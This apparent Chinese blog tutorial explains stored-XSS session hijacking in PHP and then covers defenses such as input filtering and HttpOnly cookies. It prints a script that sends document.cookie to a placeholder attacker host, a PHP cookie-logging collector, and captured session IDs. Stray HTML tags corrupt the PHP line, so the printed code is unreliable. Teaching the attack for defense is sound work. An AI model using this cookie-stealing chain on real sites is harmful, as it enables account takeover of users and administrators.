xss攻擊--SESSION劫持方式以及解決方案
阿新 • • 發佈:2019-01-04
1、XSS攻擊-SESSION劫持場景
hacker通過js指令碼在留言板之類的指令碼中提交javascript指令碼,當登入使用者(特別是管理員)檢視提交的資料時候,會被hacker劫持到SESSION資料,在SESSION有效的時間內,hacker將會更改本地的PHPSESSID資料從而登入網站管理系統。
2、指令碼程式
javascript:
PHP:var cookie_data=document.cookie; var script =document.createElement('script'); script.src='http://XXX.XXX.XXX.XXX/getcookie.php?cookie='+cookie_data; document.body.appendChild(script);
<?php $cookie=$_GET['cookie']; $path='./session.txt'; file_put_contents('./session.txt',<span style="font-family: Arial, Helvetica, sans-serif;">$cookie.</span><span style="font-family: Arial, Helvetica, sans-serif;">"\r\n",FILE_APPEND</span>); ?>
留言板提交資料:
<script type="text/javascript" src="http://xxx.xxx.xxx.xxx/getcookie.js"></script>
session.txt:
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66 PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66 PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66 PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66 PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66 PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66 PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66 PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
3、SESSION劫持防範措施:
(1)嚴格過濾使用者輸入,防範XSS攻擊。
對使用者輸入的資料進行script等指令碼和html過濾。
(2)設定sessionid的cookie為HttpOnly。
1、通過PHP.ini設定 session.cookie_httponly= true
2、在PHP手冊setcookie中第七個引數為httponly的設定。但該應用方法還在爭論中引用PHP手冊中的內容
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )
(although it is not supported by all browsers), but that claim is often disputed.